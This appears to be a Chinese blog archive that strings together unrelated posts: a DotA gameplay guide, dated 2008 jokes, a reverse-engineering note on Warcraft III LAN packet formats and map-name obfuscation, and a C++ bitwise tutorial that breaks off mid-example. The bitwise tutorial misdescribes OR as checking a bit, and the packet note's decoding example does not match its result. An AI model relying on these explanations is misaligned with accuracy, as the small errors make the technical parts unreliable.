  节奏感分人而异,有些英雄的出手快,但有些出手速度很慢,那么我们就需要根据不同的英雄去把握不同的节奏!补刀的时候我习惯计算远程法师的攻击 节奏,根据远程法师的攻击频率加上对面小兵的下血速度做这么一个对比,然后每一下攻击想象成音乐里边的节拍:咚咚..咚咚..这样做很有利于你掌控和对手 进行1V1时的节奏.在CW中,哪个队伍率先掌握了比赛的节奏,那么哪个队伍基本就赢一半了!

二 走位

  经过训练,你的基本功得到了有效的提升.但是往往顶级高手和高手之间的区别,或者高手与一般水平的区别就在于走位这两个字了.和顶尖高手对绝你 会发现对方给你的攻击机会很少,总能在最好的时机对你实施压制攻击,慢慢扩大优势达到完全压制的效果.如何练好走位也是速成高手的关键因素.走位往往是利 用地图阴影打的你摸不到头脑.或者利用地形的优势比如中路的高地,利用下坡打上坡会出现MISS的几率,上坡的英雄会对下坡的英雄火拼.或者利用小兵,或 者野怪的攻击对你进行打击.

  那么如何练就走位这样一个看似高深的学问呢?第一个需要掌握的是距离感,远程英雄大概攻击距离在350.550和600.技能释放距离在 700.那么精确掌握这些距离就是练习走位的第一个练习了.影魔做位一个很经典的英雄,影压完全是看你对距离的掌握!练习他能让你在最快的时间内掌握好距 离感!方法就是自己进入游戏WTF 模式带上一把跳刀满图无限跳,无限的压小兵野怪,越快越好!练就极限FARM速度并做好记录!练到最高境界就是满地图无限闪….无限的清兵清野!感觉 非常HIGH,打的也很有热情能够在最快的时间内把你的反映和FARM速度加上距离感练到极限速度!同样白虎的箭也是如此,她的箭很多人都觉得有运气成分 在里边!其实则不然,很多情况下还是依靠你对箭的射速,加上对手的移动速度或者移动习惯,加上箭到人之间的距离做好整体判断才是射出精准的一减!屠夫也是 如此,那么在WTF的模式下无限的射对手的远程兵可以帮助你在短时间内有一个很快的提高!

  距离感好了你就知道合适你进入到对手的晕眩范围,能够在对手将要晕眩你的时候及时的逃跑!当然还要计算自己和对方的移动速度做综合的判断!地图 的阴影运用这个学问算是比较高深,看到顶尖高手运用几个吃树逃命是不是感觉很神奇?其实这些很多都是靠自己单机带几百个吃树去走地图,走遍每一个树林的小 角落,然后在去吃树看看哪些地方吃少树的几颗树就可以成功的逃离对手的追杀!探索过程往往是烦琐的,但是想成为顶级高手这也是必不可少的工作!

  走地图!走遍地图的每一个角落,最好身边还有一个朋友能够和你一起走,在对立的阵营,这样你就可以不断的看两个不同阵营英雄的视角做为对比,知道哪些位置可以通过自己的走位摆脱对手!当你熟悉掌握地图的每一个角落,能够来去自如的话!你已经距离超越神不远了!

大局观

        我们有了超级一流的基本功,相当猥亵经典的走位,熟悉了地图的每个角落之后!接下来我们应该怎么突破使自己,让自己的技术更上一层楼呢?那么啊索认为,就是对大局观的把握!         说到大局观首先先从阵容开始说起,现在先不说如何选择阵容,先说一下怎么样去分析,理解一个阵容!阵容往往从这几个方面来分析:         机动性:以QOP和POM为代表!

        控制力:以BANE 暗影撒满为代表!

        DPS能力:以TB为代表!

        AOE能力:以TS为代表!

        爆发力:以LINA TK ZUES为代表!

        GANK先手能力:SK BANE POM BM为代表!

        恢复力:以DK 全能骑士 暗牧为代表!

        线上压制力:以毒龙 双晕组合为代表!

        抗击打能力:以SNK BB为代表!

        打野能力:人马 斧王 BM为代表!

        防守能力:以牛头 WL为代表!

        推进能力:以TS 骨法为代表!

        整体分析:这几个英雄都聚集再一起的效果!

        击杀ROSHAN能力:以拍拍熊 毒蛇 为代表!         每当你看到一个阵容的时候,首先就要把阵容内的每一个英雄都或者两个配套组合做一个定位,定位这个阵容的英雄结合以上所说的各种能力做一个初步的分析判 断,并且根据自己的经验来判断这个阵容最好的打法是什么!再去想克制的办法!         比如最近新颖的狼人阵容,近位一级无限打野鸟运瓶 我举的两个例子只是想让大家冷静分析一下对手阵容!那么这个狼人到6就会非常的关键,到6就会变成狼支援近位下路或者中路打一拨猛烈的进攻。那么这时候你 就要多加小心!         再比如现在流行的POM无限游走打法,对方的POM长期不在线上靠着他的机动性良好抢符利用箭来打击两路的人!如果看到对方这样的打法那么前期侦察就要非 常到位,自己也要多加防范!         举两个例子是希望大家每当打CW或者路人的时候先话点时间分析一下对方阵容的特点,做到心里有数!古话说的好,知己知彼者百战百胜!当你做到每次合理的分 析到了对方对方阵容的优点和自己的一些缺陷,你就会想办法利用自己的优势打击对方的,对方优势又能想办法去化解!先前我提到了经验,大部分DOTA PLAYER打CW都不是足够的多,怎么样让自己拥有大赛的经验呢?         我想借用成功学中的一句话论证一下我的观点,成功始于模仿!对,就是模仿!这也是只用了不到1年时间就拿到单条冠军称号的原因!首先提升自己的个人技术是 重中之重,每一个英雄都有每个英雄的使用方法,每一个英雄都一些世界上知名的使用者。那么我们可以通过REP,来学习各 家所长从而得到完善自己的效果!如果单练个人技术来说本来还是推荐VIGOSS,这也是我最喜欢的DOTA选手!把他的每一个录象都下载下来从头到尾全部 都观看他的视角,把他用的那个英雄每一点都熟记于心,模仿他的每一个打法!每个英雄都一样,选一些最经典的录象苦心钻研,先模仿和他一样的IMBA再去想 办法超越!这是我一直坚持去做的如果有一件事情,现在看REP有时候都感觉很困,没有新意!但比赛中一出现亮点,也就是自己以前还没有掌握到的东西,我就 会很激动!最快速度学为自用!坚持看录象也坚持了1年了吧,总会有一些新颖的战术,操作出现!在学习到 所有的同时,那么尝试着自己去创新吧!往往世界大赛想获得胜利就得靠出其不意!打的对手措手不及!我们国内创造的蚂蚁,修补战术真的很棒!可是用的感觉不 是时候,有点太早了。给如果有机会和VP这样的强队交手的时候再用赢一场的话,足以扬名世界!我们GL最近也研究出来了一个非常强大的必杀战术,在以后世 界级重量级比赛中我们会运用我们国人争光!         大局观这个东西要说的东西真是太多,因为这个一场比赛获得胜利的灵魂和关键所在,宏观的指挥能力也和你的大局观的强弱息息相关。那么如何去练就你在CW中 的指挥能力呢,我给大家介绍一套我自己训练的方法!                 在CW中,两边阵容选择完毕!就要用最短的时间去分析对手的阵容以及分路和可能运用的打法!在对对方阵容的要点所在有了初步分析之后,下面应该做的就是看 对方的线上英雄,一个优秀的指挥者会在对方线上英雄消失的一瞬间把这个消息告知队友,或者队友之间互相交流!那么一个团队中的指挥就会依照自己的经验判断 这个人可能的去向,在通过他的移动速度来判断何时能对其他的路造成威胁!在没有视野的情况下互相通告对手线上英雄的情况,如果是SNK SK这些先手英雄走了的话,肯定是去参与了GANK,那么相互通知会有一个非常好的效果。         前边这只是一个基础,一个优秀的指挥者会利用自己团队阵容的优势,在最恰当的时机给与对手最大的打击!他会分配好每个英雄使用者的任务,和何时应该进攻, 何时选择果断的后退!这个是非常难的事情,我曾经也一度苦恼自己的经验不足!但我又发现了一个技巧,就是看世界顶级强队的REP!开地图阴影,把你的视角 一直去观看输的那一方的视角,你假想自己就是这个阵营的指挥者。再每次的GANK进攻或者团战的时候你都要做出一个选择,如果你选择撤退他们硬功导致团 灭,你选择强功他们确选择个自FARM导致黄金时间没有把握住。当然你也可以看每一个英雄使用者的失误,有的时候就是因为一个人的失误导致全盘皆输。如果 你成功发现了输的那一方每一个失误,不断总结不断完善自己!通过艰苦时间的训练,你会成为这个世界上最优秀的指挥者!!  

四 心态

  毫无疑问,心态是想成为一个顶级高手具备很重要的因素之一,如何在一场比赛中发挥出自己的最高水平也成为了一个大家很关心的一个话题。因为自己 曾学过安东尼罗宾斯的成功学[安东尼罗宾斯是世界上最伟大的成功学大师,激发潜能大师],对心理学方面也有所研究,下边就把一些技巧告诉大家。

  人本能的会去未知的事情会产生恐惧心理,每件事情都会给我们带来一些感受,这些感受笼统可以划分为两点痛苦与快乐。往往痛苦给人带来的冲击力, 会比快乐高出数倍,这也就是为什么很伤心的事情我们会记很久。我们的比赛也一样,一场重量级别的较量,由于以前的一些痛苦经理{比如说与这个队比赛就从来 没有赢过},和在这场比赛中的众多的未知因素会给选手们带来一些紧张或者恐惧的心理,这样的心理带入比赛中的话会不同程度的影响的发挥.

  那么如何能快速的脱离这种状态,从恐惧不安紧张的心态到自信满满呢?首先我们可以采用的方法之一就是心理学中的自我暗示,不断的告诉自己我做的 到,我一定能成功或者我一定能赢类似的话语,闭上眼睛不断的告诉自己,语速越来越快!直到你觉得浑身上下都在沸腾为止,我们状态也会很快的恢复到良好。

  我们的行为决定我们的状态,比如说你闭上眼睛,眉头紧锁,头慢慢下沉,运用一下你的想象力,感觉眼睛越来越重,越来越重,慢慢的你会发现自己在 进入睡眠的状态。在比赛前我们也可以通过我们的行为来调整一下自己的状态,比如说做几个深呼吸,大吼几声给自己打打气,或者双手用力的去拍拍掌,动作频率 越来越快直到你手心感觉到麻木.都可以很有效的让你感觉迅速好起来!

  最后呢,我们可以再次运用我们的想象力,回忆一下自己以前在状态最好的时候,甚至可以说发挥到极限的时候你的表现,想象你曾经最出色的时候三 杀、四杀、五杀,你的脑海里不断涌现着这些令你激动的场景!更可以运用一下你的联想,假想一下自己就是VIGOSS或者MELINI,回忆一下录象中看到 的他们所有的表现,比赛的时候超水平也不是不可能!

2008.3.31
》什么是骄傲?牛呗!什么是爱情?骗呗!什么是温柔?贱呗!什么是艺术?脱呗!
什么是仗义?傻呗!什么是聪明?吹呗!什么是勤俭?抠呗!什么是朋友?你呗!
什么是可爱?我呗!什么是谦虚?装呗!什么是勇敢?二呗!什么是幽默?贫呗!
》看了神雕侠侣知道年龄不是问题;
看了断背山知道性别不是问题;
看了金刚发现原来物种也不是问题;
想起人鬼情未了才真正懂得...死活都不是问题!
2008.4.1
》我终究没能飚得过那辆宝马,只能眼看着它在夕阳中绝尘而去,不是我的引擎不
好,而是我的车链子掉了。
》人生没有彩排,每天都是直播,不仅收视率低,而且工资不高。
》天天吃稀饭,不甘心,昨天去菜市场绕了一圈,我想我还是继续吃稀饭吧。
》每当我错过一个女孩,我就在地上放一块砖,于是便有了长城。
2008.4.2
》吃自助餐最高境界:扶墙进,扶墙出。
》不怕虎一样的敌人,就怕猪一样的队友。
》夏天就是不好,穷的时候我连西北风都没得喝...
》怀才就像怀孕,时间久了才能让人看出来。
》你以为我会眼睁睁地看着你去送死?我会闭上!
2008.4.3
》留了青山在,还是没柴烧。
》纯,属虚构,乱,是佳人。
》红杏不出墙,坚决拽出来。
》圣诞快乐,说明你平时不快乐。
》天没降大任于我,照样苦我心智,劳我筋骨。
2008.4.4
》我在女友手机里的名字是“他”,分手后,我就变成了“它”。
》众里寻她千百度,蓦然回首,那人依旧对我不屑一顾。
》听说女人如衣服,兄弟如手足。回想起来,咱这尊千手观音竟然裸奔了20多年!
》念了十几年书,想起来还是幼儿园比较好混。
》什么是幸福?幸福就是猫吃鱼,狗吃肉,奥特曼打小怪兽。
》生活中一大半麻烦是由于你说Yes说的太快,说No说的太慢。
2008.4.5
》你可以跑不过刘翔,但你必须要跑过CPI!
》地铁上的广告:挤吗?买辆车吧!出租车上的广告:堵吗?坐地铁吧!
》谎言与誓言的区别在于,一个是听的人当真了,一个是说的人当真了。
》工资真的要涨了,能给孩子奖赏了,见到老婆敢嚷了,敢尝到海鲜鸭掌了,闲时能
逛商场了,遇见美女心痒了,结果物价又涨了,一切都是白想了。
2008.4.6
》一等女人家里称霸,二等女人在家吵闹,三等女人家中挨打,四等女人煤气自杀。
》一等男人家外有家,二等男人家外有花,三等男人准时回家,四等男人准时回家遇
见她的他。
》各位女同事,请不要对我放电,我老婆有来电显示。
》强烈抗议广告时间插播电视剧!
2008.4.7
》我昨天参加了一个减肥班,教练让我穿宽松的衣服训练。要是有宽松的衣服,我来
参加减肥班干什么?
》我举着丘比特的箭追呀追,你穿着防弹背心飞呀飞。
》唾沫是用来数钞票的,不是用来讲道理的。
》我喝酒是想把痛苦溺死,但这该死的痛苦却学会了游泳。
》80后的重要任务就是制造08后。
2008.4.8
》你想发财吗?你想交桃花运吗?你想当官吗?你想一夜成名吗?你想永葆青春吗?
----不要瞎想了,好好工作吧!
》女人,口才常有而身材不常有;男人,身材常有而钱财不常有。
》孤单是一个人的狂欢,狂欢是一群人的孤单。
》女友不当尼姑的原因是她英语四级没过,庵里不收。
2008.4.9
》爱情就像海滩上的贝壳--不要拣最大的,也不要拣最漂亮的,就拣自己喜欢的,拣
到了就永远不再去海滩。
》爱人是路,朋友是树,人生只有一条路,一条路上多棵树,有钱的时候别迷路,缺
钱的时候靠靠树,幸福的时候莫忘路,休息的时候浇浇树。
》四草法则:兔子不吃窝边草,好马不吃回头草,老牛时兴吃嫩草,天涯何处无芳
草。
》每天早上起床后我都要看一遍《福布斯》富翁排行榜,如果上面没有我的名字,我
就去上班。
2008.4.10
》站在天堂看地狱,人生就像情景剧;站在地狱看天堂,为谁辛苦为谁忙!
》尘世间最痛苦的事莫过于--女人跟了别人走,四级考了五十九。
》新式morning call--生前何必久睡,死后自会长眠。
》左青龙,右白虎,肩膀纹个米老鼠。
》没钱的时候,在家里吃野菜;有钱的时候,在酒店吃野菜。
2008.4.11
》我的原则是:人不犯我,我不犯人;人若犯我,我就生气!
》我慢慢发现,人才是妖精!有些妖精吃人,但人什么都吃,逮着一只妖精没准也能
烧烤了!
》长得真有创意,活得真有勇气!
》人总要犯错误的,否则正确之路人满为患。
》偶尔幽生活一默你会觉得很爽,但生活幽你一默就惨了...
2008.4.12
》代沟就是--我问老爸:“你觉得《菊花台》怎么样?”老爸想想说:“没喝过!”
》猛的一看你不怎么样,仔细一看还不如猛的一看。
》一口不能吃个胖子,但胖子却是一口一口吃出来的!
》对男人一知半解的女人最后成了男人的妻子,对男人什么都了解的女人最后成了老
女人。
》考试要到了,借给我点钱当补考费吧...
2008.4.13
》上天在赐予我们青春的同时也赐予了我们青春痘。
》出问题先从自己身上找原因,别一便秘就怪地球没引力。
》虽然我长的不是很帅,但小时候也有人夸我左边鼻孔很偶像派。
》老妈的规劝:闺女,要适当吃一点才有劲减肥啊。
》春天是感冒和感情高发的季节。有人不小心感冒了,有人不小心恋爱了,我属于前
者。
2008.4.14
》我当年也是个痴情的种子,结果下了场雨...淹死了。
》钞票不是万能的,有时候还需要信用卡。
》我允许你走进我的世界,但绝不允许你在我的世界里走来走去。
》我希望有一天能用鼠标双击我的钱包,然后选中一张百元大钞,按下“ctrl+c”,
接着不停地“ctrl+v”。
》我是一棵孤独的树,千百年来矗立在路旁,寂寞地等待,只为有一天你从我身边走
过时为你倾倒,砸不扁你就算我白活了。
2008.4.15
》爱我的请举手,不爱我的请倒立!
》人怕出名猪怕壮,男怕没钱女怕胖。
》如果有钱也是一种错,我情愿一错再错。
》如果婚姻是爱情的坟墓,那么我期待有一个人把我埋了。
》千万别在一棵树上吊死,可以到周围的树上多试几次。
》不要把银行卡密码设成女友的生日,不然总要换多麻烦。
2008.4.16
》最幸福的事:睡觉睡到自然醒,数钱数到手抽筋。最悲哀的事:睡觉睡到手抽筋,
数钱数到自然醒。
》钱可以买房子但买不到家,可以买婚姻但买不到爱情,可以买钟表但买不到时间,
钱不是一切,反而是痛苦的根源。把你的钱给我,让我一个人承担痛苦吧!
》男孩穷着养,不然不晓得奋斗:女孩富着养,不然人家一块蛋糕就哄走了。
2008.4.17
》士为知己者装死,女为悦己者整容。
》命运负责洗牌,但是玩牌的是我们自己。
》年轻的时候,我们常常冲着镜子做鬼脸;年老的时候,镜子算是扯平了。
》我以后生个儿子名字要叫"好帅",那别人看到我就会说:"好帅的爸爸!"
2008.4.18
》爱人是种无奈,被爱是种姿态,等爱是种期待,无爱是种能耐。
》女人之美,在于蠢得无怨无悔;男人之美,在于说谎说的白日见鬼。
》明月几时有,把酒问室友,不知隔壁帅哥,可有女朋友?
》武功再高,也怕菜刀。
2008.4.19
》每个人至少拥有一个梦想,有一个理由去坚强。
》成熟的人不问过去,聪明的人不问现在,豁达的人不问未来。
》爱情就像两个拉着橡皮筋的人,受伤的总是不愿放手的那一个!
》心若没有栖息的地方,到哪里都是在流浪!
2008.4.20
》大脑是最高贵的器官--因为是大脑告诉你的。
》珍惜生活--上帝还让你活着,就肯定有他的安排。
》工作,退一步海阔天空;爱情,退一步人去楼空。
》我们产生一点小分歧:她希望我把粪土变黄金,我希望她视黄金如粪土。
》工作的最高境界就是看着别人上班,领着别人的工资。
2008.4.21
》见到我以后你会突然发现:原来帅也可以这样具体!
》小时候不学习,妈妈说:“长大后让你嫁给卖猪肉的王老五。”现在我教育女儿:
好好学习,长大后才能嫁给卖猪肉的王老五。”
》如果天上落下一颗水,那是我想你而流的泪;如果天上落下两滴水,那是我爱你而
心碎;如果天上落下无数滴水,那是...别瞎想了,下雨了。
》中午在食堂叫了两个菜,吃第一个我震撼了:世上还有比这更难吃的菜吗?吃第二个
我哭了:还真有啊!
2008.4.22
》最近很多人跳楼,大家小心别被砸到了。
》看着我的眼睛,除了眼屎,你还会看到坚毅和真诚。
》下辈子我一定投胎做一个女人,然后嫁一个我这样的男人。
》法官:你为什么要印Jia钞?被告无辜地说:因为我不会印真钞。
》亲爱的,我怀孕了,三个月了,不过你放心,不是你的,不用你负责...
2008.4.23
》妈妈说人生最好不要错过两样东西:最后一班回家的车和一个深爱你的人。
》男人没本事就别说女人太现实,女人没实力就别说男人太花心。
》就算我是一只癞蛤蟆,我也坚决不娶母癞蛤蟆。
》某女的一篇博客日记:某月某日,大醉而归,伸手一摸----手机和贞操都在,放心
睡觉!
2008.4.24
》睡眠是门艺术,谁也无法阻挡我追求艺术的脚步!
》本人不但有车,还是自行的。
》男人膝下有黄金,我把整个腿都切下来了,连块铜也没找着。
》如果看到面前的阴影,别怕,那是因为背后有阳光!
》问:你喜欢我哪一点?答:喜欢你离我远一点!
2008.4.25
》“帅”有什么用!到头来还不是被“卒”吃点!
》人生四大悲:久旱逢甘霖,一滴;他乡遇故知,债主;洞房花烛夜,隔壁;金榜
提名时,做梦。
》爱情就像打篮球,有进攻有防守,有时还会有假动作!
》早晨赖床,遂从口袋里掏出6枚硬币:如果抛出去六个都是正面,我就去上课。踌躇
了半天,还是算了,别冒这个险。
2008.4.26
》别人花前月下,我却花钱日下。》很久很久以前,谎言和真实在河边洗澡,谎言先
洗好,穿了真实的衣服离开,真实却不肯穿谎言的衣服。后来,在人们的眼里,只有
穿着真实衣服的谎言,却很难接受赤裸裸的真实。
》鸟在笼中,恨关羽不能张飞;人处世上,要八戒更须悟空。
》玫瑰,你的;巧克力,你的;钻石,你的;你,我的。
2008.4.27
》吾表兄,年四十余.始从文,连考三年而不中.遂习武,练武场上发一矢,中鼓吏,逐之
出.改学医,自撰一良方,服之卒.
》一杯下肚,轻言细语;两杯下肚,甜言蜜语;三杯下肚,豪言壮语;四杯下肚,胡言乱
语;五杯下肚,无言无语.
》幸福就是痒的时候挠一下,不幸就是痒了但挠不着,更不幸的是,很久以来灵魂和肉体
都感觉不到那种蠢蠢欲动的痒了.
2008.4.28
》成功的丈夫是钱多到妻子花不完,成功的妻子是找到这样的丈夫。
》记得毕业后不久的一天,女友给我发了条短信:“我们还是分手吧!”我还没来得及
伤心呢,女友又发来一条:“对不起,发错了!”这下可以彻底伤心了。
》猪有猪的思想,人有人的思想。如果猪有人的思想,那它就不是猪了----是八戒!
》动物园有只猴子奇丑无比,人见人吐。有一天我去了,我吐了;有一天你去了,猴
子吐了。
2008.4.29
》三人行,必有我师;三剑客,必有一强;三角恋,必有一伤。
》男人没钱时恨女人俗气,有钱时恨不得女人都俗气。
》我想早恋,但是已经晚了… …
》也曾伤心流泪,也曾黯然心碎,这是“二”的代价。
2008.4.30
》朋友们都说我是著名的音乐人,因为每次出去K歌,他们唱的都是别人的歌,而我却
总是自己谱曲。
》别和我谈理想,戒了!
》世界上难以自拔的,除了牙齿,还有爱情。
》什么是压力,老婆孩子是压力;什么是动力,老婆孩子是动力。
》说金钱是罪恶,都在捞;说美女是祸水,都想要;说高处不胜寒,都在爬;说烟酒
伤身体,都不戒;说天堂最美好,都不去!
2008.5.1
》五一体验家庭一日游:活动包括清洗我家地板和厨房油污、刷洗锅碗瓢盆、洗涤衣
物和床上用品,公车往返,自备午餐,二百一人,报名从速。
》过节了,我好想请你去体验一下KTV!知道什么是KTV吗?就是K你一顿,再T你一
脚,然后做个V字的手势!耶!
》平时工作很忙碌,趁着五一狂购物。两手不空满载归,慰劳自己绝不误。
》五一祝你:追求一段真情,寻找一个挚友,实现一个梦想,呵护一个家庭,请我大
餐一顿!
2008.5.2
》什么叫乐观派?这个......就象茶壶一样,屁股被烧得红红的,还有心情吹口哨!
》你永远也看不见我最爱你的时候,因为我只有在看不见你的时候,才最爱你。同样
你永远也看不见我最寂寞的时候因为我只有在你看不见我的时候,我才最寂寞。
》使你疲劳的不是远方的高山,而是你鞋子里面的一粒沙子!
》开车无难事,只怕有新人

魔兽局域网主要有4种消息

第一种、搜索游戏:

F7 2F 10 00 50 58 33 57 15 00 00 00 00 00 00 00 ?PX3W

这个格式比较简单。

F7 2F 10 00 是格式头部,消息含义的标志。

50 58 33 57 是PX3W几个字,就是冰封王座的逆序。

15 00 00 00 是版本号,0x15=21,即是1.21版的冰封王座在搜索游戏。

00 00 00 00 是某个魔兽的标志,看似无意义,实际很重要。后面会说明。


魔兽在多种情况下都会发布此消息,例如刚进入局域网,从游戏中退出,从创建的游戏中退出等等。


第二种、结束游戏:

F7 33 08 00 00 00 00 00

F7 33 08 00为消息内容标志,00 00 00 00同第一种消息,后面说明。

魔兽在收到此消息后会从游戏列表中删除对应IP的游戏。

魔兽在取消游戏或者开始游戏时会发送此消息。


第三种、LANTag

这个是魔兽中传输次数最多的消息。短小但是作用多。

F7 32 10 00 00 00 00 00 01 00 00 00 00 00 00 00 ?

F7 32 10 00 消息标志,不多说了。

00 00 00 00 神秘标志。

01 00 00 00 忘了,貌似是固定值

02 00 00 00 空余位置数+1


那个特殊的标志是什么呢?那个就是魔兽创建游戏的次数。

它表示了当前是第几次游戏。关闭游戏后重置为0。看似这个是没什么用的标志,但是魔兽程序对收到的消息中这个值不对(和当前系统游戏次数不同)的消息都是无视,例如创建了8次游戏的魔兽服务器(主机),对F7 2F 10 00 50 58 33 57 15 00 00 00 01 00 00 00是没有反映的,F7 2F 10 00 50 58 33 57 15 00 00 00 08 00 00 00才能正常的返回游戏信息。但是作为一个特例,所有主机对00都有响应。但是其中还稍有不同。我们先把这个标志成为tagcount。


这个LANtag有很多用处。处于等待状态的魔兽收到lantag后会发送一个tagcount和lantag中相同的搜索游戏消息(第一种消息)。已经搜索到对应IP创建的游戏的魔兽会根据lantag改变游戏列表中空余位置的显示。同时tagcount=00的特殊性就体现在这里,搜索到某IP创建的游戏的魔兽对00会返回搜索游戏消息,而不管是从哪个ip发来的,而对从该IP发送过来的tagcount不等于0的lantag无返回消息。


第四种、游戏信息:





F7 30 8B 00消息标志,略过。

58 33 57 15 冰封王座标志,略过。

15 00 00 00 版本号。

01 00 00 00 tagcount,请参考上文。

39 0A E5 01 未知,每次消息都不同

00 01 03 49 07 01 01 55 01 D1 55 01 0D 65 C3 9B:未知,包含例如是否开图,是否开启裁判等信息。

E5 BD 93 E5 9C B0 E5 B1 80 E5 9F 9F E7 BD 91 E5 86 85 E7 9A 84 E6 B8 B8 E6 88 8F 20 28 46 6C 00:UTF-8的局域网游戏名称“当地局域网内的游戏 (Fl”。

4D EB 61 71 73 5D 69 65 73 A1 75 5D

29 33 29 55 65 75 73 65 6F 61 73 53 75 63 61 6F

65 2F 77 33 79 B1 01 47 6D 79 69 6F 67 1B 53 6F

6F 77 01 01

一段简单加密的信息,地图和创建者信息。加密规则如下。

从”(Fl\0”后开始往后第10个字节开始,每8个为一个加密组,例如:

D1 55 01 0D 65 C3 9B 4D为一个加密组,D1为密钥。

EB 61 71 73 5D 69 65 73为一个加密组,EB为密钥。

其实是一段简单的奇偶校验加密。

0xEB=11101011。将二进制字符串逆序取反为00101000,所以,正确字符串为:

EB-0 61-0 71-1 73-0 5D-1 69-0 65-0 73-0

其中密钥位舍去,得61 70 73 5C 69 65 73即为aps\ies

如此解密此部分数据为:

Maps\iest(2)EchoIsles.w3x\0FlyingSnow\0\0

\0为结束符,即二进制00。

最后以一个00最结束。

02 00 00 00:游戏总共允许玩家。

01 00 00 00:未知,似乎是电脑数。

01 00 00 00:未知,似乎是玩家数。

01 00 00 00:剩余空位。

08 00 00 00:未知。似乎是定值。

E0 17=0x17E0=6112,游戏端口。

至此分析完毕。

游戏数据流程是,魔兽发送搜索信息->接受游戏信息->根据Lantag调整空闲人数。

魔兽启动局域网时会发送一个搜索信息广播(仅当前子网),仅广播一次。

当新游戏主机加入时,该游戏主机广播一个Lantag,魔兽收到Lantag后向该主机发送搜索消息。游戏主机在创建完游戏等待加入时每隔一段时间广播一个Lantag。游戏主机的空闲位置有任何变化时广播Lantag。

取消或开始游戏后发送结束消息

前言  

  看到有些人对位运算还存在问题,于是决定写这篇文章作个简要说明。  

   

  什么是位(bit)?  

   

 很简单,位(bit)就是单个的0或1,位是我们在计算机上所作一切的基础。计算机上的所有数据都是用位来存储的。一个字节(BYTE)由八个位组成,一个字(WORD)是二个字节或十六位,一个双字(DWORD)是二个字(WORDS)或三十二位。如下所示:  

   

      0   1   0   0   0   1   1   1   1   0   0   0   0   1   1   1   0   1   1   1   0   1   0   0   0   1   1   1   1   0   0   0  

  |   |                             |                               |                               |                             |   |  

  |   +-   bit   31             |                               |                               |               bit   0   -+   |  

  |                                 |                               |                               |                                 |  

  +–   BYTE   3   —-   -+—-   BYTE   2   —+—-   BYTE   1   —+—   BYTE   0   —–+  

  |                                                                 |                                                                 |  

  +————   WORD   1   ————+———–   WORD   0   ————-+  

  |                                                                                                                                   |  

  +—————————–   DWORD   —————————–+  

   

 使用位运算的好处是可以将BYTE,   WORD   或   DWORD   作为小数组或结构使用。通过位运算可以检查位的值或赋值,也可以对整组的位进行运算。  

   

  16进制数及其与位的关系  

  用0或1表示的数值就是二进制数,很难理解。因此用到16进制数。  

   

  16进制数用4个位表示0   -   15的值,4个位组成一个16进制数。也把4位成为半字节(nibble)。一个BYTE有二个nibble,因此可以用二个16进制数表示一个BYTE。如下所示:  

   

  NIBBLE       HEX   VALUE  

  ======       =========  

    0000                 0  

    0001                 1  

    0010                 2  

    0011                 3  

    0100                 4  

    0101                 5  

    0110                 6  

    0111                 7  

    1000                 8  

    1001                 9  

    1010                 A  

    1011                 B  

    1100                 C  

    1101                 D  

    1110                 E  

    1111                 F  

   

  如果用一个字节存放字母”r”(ASCII码114),结果是:  

  0111   0010         二进制  

      7         2           16进制  

   

  可以表达为:’0x72’  

   

  有6种位运算:  

        &       与运算  

        |       或运算  

        ^       异或运算  

        ~       非运算(求补)  

      >>       右移运算  

      <<       左移运算  

   

  与运算(&)  

  双目运算。二个位都置位(等于1)时,结果等于1,其它的结果都等于0。  

        1       &       1       ==       1  

        1       &       0       ==       0  

        0       &       1       ==       0  

        0       &       0       ==       0  

   

  与运算的一个用途是检查指定位是否置位(等于1)。例如一个BYTE里有标识位,要检查第4位是否置位,代码如下:  

   

  BYTE   b   =   50;  

  if   (   b   &   0x10   )  

          cout   <<   “Bit   four   is   set”   <<   endl;  

  else  

          cout   <<   “Bit   four   is   clear”   <<   endl;  

   

  上述代码可表示为:  

   

          00110010     -   b  

      &   00010000     -   &   0x10  

    —————————-  

          00010000     -   result  

   

  可以看到第4位是置位了。  

   

  或运算(   |   )  

  双目运算。二个位只要有一个位置位,结果就等于1。二个位都为0时,结果为0。  

        1       |       1       ==       1  

        1       |       0       ==       1  

        0       |       1       ==       1  

        0       |       0       ==       0  

   

  与运算也可以用来检查置位。例如要检查某个值的第3位是否置位:  

   

  BYTE   b   =   50;  

  BYTE   c   =   b   |   0x04;  

  cout   <<   “c   =   “   <<   c   <<   endl;  

   

  可表达为:  

   

          00110010     -   b  

      |   00000100     -   |   0x04  

      ———-  

          00110110     -   result  

   

  异或运算(^)  

  双目运算。二个位不相等时,结果为1,否则为0。  

   

        1       ^       1       ==       0  

        1       ^       0       ==       1  

        0       ^       1       ==       1  

        0       ^       0       ==       0  

   

  异或运算可用于位值翻转。例如将第3位与第4位的值翻转:  

   

  BYTE   b   =   50;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

  b   =   b   ^   0x18;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

  b   =   b   ^   0x18;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

   

  可表达为:  

   

          00110010     -   b  

      ^   00011000     -   ^0x18  

      ———-  

          00101010     -   result  

   

          00101010     -   b  

      ^   00011000     -   ^0x18  

      ———-  

          00110010     -   result  

   

  非运算(~)  

  单目运算。位值取反,置0为1,或置1为0。非运算的用途是将指定位清0,其余位置1。非运算与数值大小无关。例如将第1位和第2位清0,其余位置1:  

   

  BYTE   b   =   ~0x03;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

  WORD   w   =   ~0x03;  

  cout   <<   “w   =   “   <<   w   <<   endl;  

   

  可表达为:  

   

          00000011     -   0x03  

          11111100     -   ~0x03     b  

   

          0000000000000011     -   0x03  

          1111111111111100     -   ~0x03     w  

   

  非运算和与运算结合,可以确保将指定为清0。如将第4位清0:  

   

  BYTE   b   =   50;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

  BYTE   c   =   b   &   ~0x10;  

  cout   <<   “c   =   “   <<   c   <<   endl;  

   

  可表达为:  

   

          00110010     -   b  

      &   11101111     -   ~0x10  

      ———-  

          00100010     -   result  

   

  移位运算(>>   与   <<)  

  将位值向一个方向移动指定的位数。右移   >>   算子从高位向低位移动,左移   <<   算子从低位向高位移动。往往用位移来对齐位的排列(如MAKEWPARAM,   HIWORD,   LOWORD   宏的功能)。  

   

  BYTE   b   =   12;  

  cout   <<   “b   =   “   <<   b   <<   endl;  

  BYTE   c   =   b   <<   2;  

  cout   <<   “c   =   “   <<   c   <<   endl;  

  c   =   b   >>   2;  

  cout   <<   “c   =   “   <<   c   <<   endl;  

   

  可表达为:  

          00001100     -   b  

          00110000     -   b   <<   2  
